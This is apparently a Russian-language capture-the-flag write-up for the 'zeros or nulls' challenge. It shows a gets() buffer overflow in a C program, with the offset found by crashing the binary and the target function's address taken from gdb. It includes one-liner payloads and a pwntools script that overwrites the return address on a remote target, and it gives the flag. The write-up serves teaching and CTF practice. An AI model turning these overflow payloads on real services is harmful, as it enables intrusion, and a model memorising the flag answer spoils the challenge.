Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

zeros or nulls writeup

Нам дан код на C, использующий небезопасную функцию gets() и самописная функция dont_call_me(), которая выводит переменную окружения.

Внимательно просмотрев код, можно заметить, что функция dont_call_me() не вызывается в нашем main, там вообще ничего не вызывается.

Что же делать?

Обратить внимание, что буфер заполняется через gets(). Нужно понять, как ее проэксплуатировать (подсказка: размер введенной строки пользователя может быть БОЛЬШЕ, чем размер нашего буфера).

Теперь узнаем адрес нашего rip регистра, чтобы понять, как это сделать, будем использовать скомпилированный файл zeros_or_nulls и python. Суть в том, чтобы получить SEGFAULT, благодаря этому узнаем смещение до нашего rip регистра.

Делается это с помощью команды python -c "print 'A'* OFFSET" | ./zeros_or_nulls, изначально примем OFFSET=64, потому что буфер именно такого размера, и будем увеличивать его на 4 до тех пор, пока не получим нужную ошибку. Произойдет это при 72 сдвиге, значит следующие 16 байтов - rip. Их нужно изменить, но на какое значение?

Настало время gdb. С его помощью легко можно узнать адрес функции flag(), запускаем gdb -q ./zeros_or_nulls и прописываем disas dont_call_me - в первой строке получаем то, что искали 0x0000000000400607.

Вызовем функцию!

Это можно сделать двумя способами:

  1. bash: python -c "print 'A'*72 + '\x00\x00\x00\x00\x00\x40\x06\x07'[::-1]" | ./zeros_or_nulls
  2. gdb: r -A < <(python -c "print 'A'*72 + '\x00\x00\x00\x00\x00\x40\x06\x07'[::-1]")

Второй способ позволяет передать в gdb null-bytes (\x00), в отличие от способа передачи $(), который их игнорирует.

Функция отработала, отлично, теперь переходим к боевому стенду! Для удобства работы напишем python скрипт.

from pwn import *

conn = remote('TARGET_IP', TARGET_PORT)

OFFSET = 72
payload = OFFSET * 'A' + '\x00\x00\x00\x00\x00\x40\x06\x07'[::-1] 
conn.sendline(payload)
print(conn.recv())

Отправляем нашу полезную нагрузку и получаем флаг: kxctf{u_@r3_str0ng_0n3_but_th4ts_n0t_4ll_tg_OxSBI}